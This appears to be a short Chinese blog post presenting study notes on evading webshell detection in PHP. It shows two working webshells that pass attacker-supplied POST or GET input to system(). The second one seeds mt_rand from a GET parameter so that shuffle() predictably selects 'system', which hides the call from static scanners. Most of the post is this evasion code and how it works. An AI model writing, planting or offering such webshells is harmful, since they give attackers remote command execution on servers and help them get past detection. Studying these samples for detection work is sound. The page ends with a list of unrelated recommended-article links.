记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
运维行者_几秒前
金融和电商行业如何使用网络监控保障业务稳定?
开发语言·网络·人工智能·安全·web安全·机器学习·运维开发
相醉为友几秒前
000 Linux个性操作记录——存储焦虑时期如何wsl2中配置安全的软件优化操作
linux·安全
星幻元宇VR8 分钟前
VR科普蛋椅|打造沉浸式科普教育新体验
科技·安全·vr
西杭9 分钟前
Claude读论文系列(五)
安全
墨^O^14 分钟前
并发控制策略与分布式数据重排:锁机制、Redis 分片与 Spark Shuffle 简析
java·开发语言·c++·学习·spark
艾莉丝努力练剑22 分钟前
【Linux信号】Linux进程信号
linux·运维·服务器·学习·操作系统·进程·信号
m0_5648768425 分钟前
微调学习。
学习
学工科的皮皮志^_^29 分钟前
RS485学习
经验分享·笔记·单片机·嵌入式硬件·学习
lisw0530 分钟前
生成式学习:AI时代的学习新范式!
人工智能·学习·机器学习